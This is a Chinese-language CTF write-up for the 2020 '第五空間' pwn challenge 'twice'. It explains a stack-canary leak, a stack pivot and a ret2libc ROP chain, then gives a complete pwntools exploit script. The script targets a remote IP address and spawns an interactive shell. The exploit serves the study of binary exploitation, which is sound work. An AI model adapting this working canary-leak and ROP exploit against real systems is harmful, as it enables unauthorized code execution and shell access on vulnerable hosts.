【第五空間2020】twice WriteUp

checksec一下,開了棧溢出保護和棧執行保護

IDA打開看看,main函數是一個for循環,InitData函數執行初始化setvbuf操作後返回0

跟進這個函數,結合main函數發現,這個函數只會被調用2次,然後main函數將會結束,第一次進這個函數的時候,v3=89,第二次進這個函數的時候,v3=112


緩衝區s的大小是88字節,而後面緊跟着canary,因此第一次寫滿89字節以後可以泄露出canary
(canary首位必定爲0,所以通過第89個字節覆蓋首位可以使得puts函數順帶一併輸出後面的canary的值。第一次進這個函數時,輸出以後會將最後一個字節置0,而canary首位剛好是0,因此不會被棧溢出保護檢查到)
泄露以後可以通過第二次112字節的輸入來進行棧溢出,由於只能剛好覆蓋rbp和ret address,所以採用棧轉移技術,執行我們前面輸入的rop鏈
第一次rop泄露puts的地址,找到對應的libc,計算出system函數和binsh字符串的位置,然後返回main函數,進行第二輪rop,拿到shell

#!/usr/bin/python2
#coding:utf-8

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('121.36.59.116',9999)
#io=process('./pwn')
elf=ELF('./pwn')

main=p64(0x40087b)
leave_ret=p64(0x400879)
pop_rdi_ret=p64(0x400923)

ra()
sd('a'*89)
rn(89)
canary='\0'+io.recv(7)
stack=u64(rn(6)+'\0'*2)
stack=stack-8*14
ra()
sd((p64(0)+pop_rdi_ret+p64(elf.got['puts'])+p64(elf.plt['puts'])+main).ljust(88,'a')+canary+p64(stack)+leave_ret)
rn(1)
puts_addr=u64(rn(6)+'\0'*2)
libc=LibcSearcher('puts',puts_addr)
ra()
sd('a'*89)
rn(89)
canary='\0'+rn(7)
stack=u64(rn(6)+'\0'*2)
stack=stack-8*14
ra()
sd((p64(0)+pop_rdi_ret+p64(puts_addr-libc.dump('puts')+libc.dump('str_bin_sh'))+p64(puts_addr-libc.dump('puts')+libc.dump('system'))+main).ljust(88,'a')+canary+p64(stack)+leave_ret)

io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章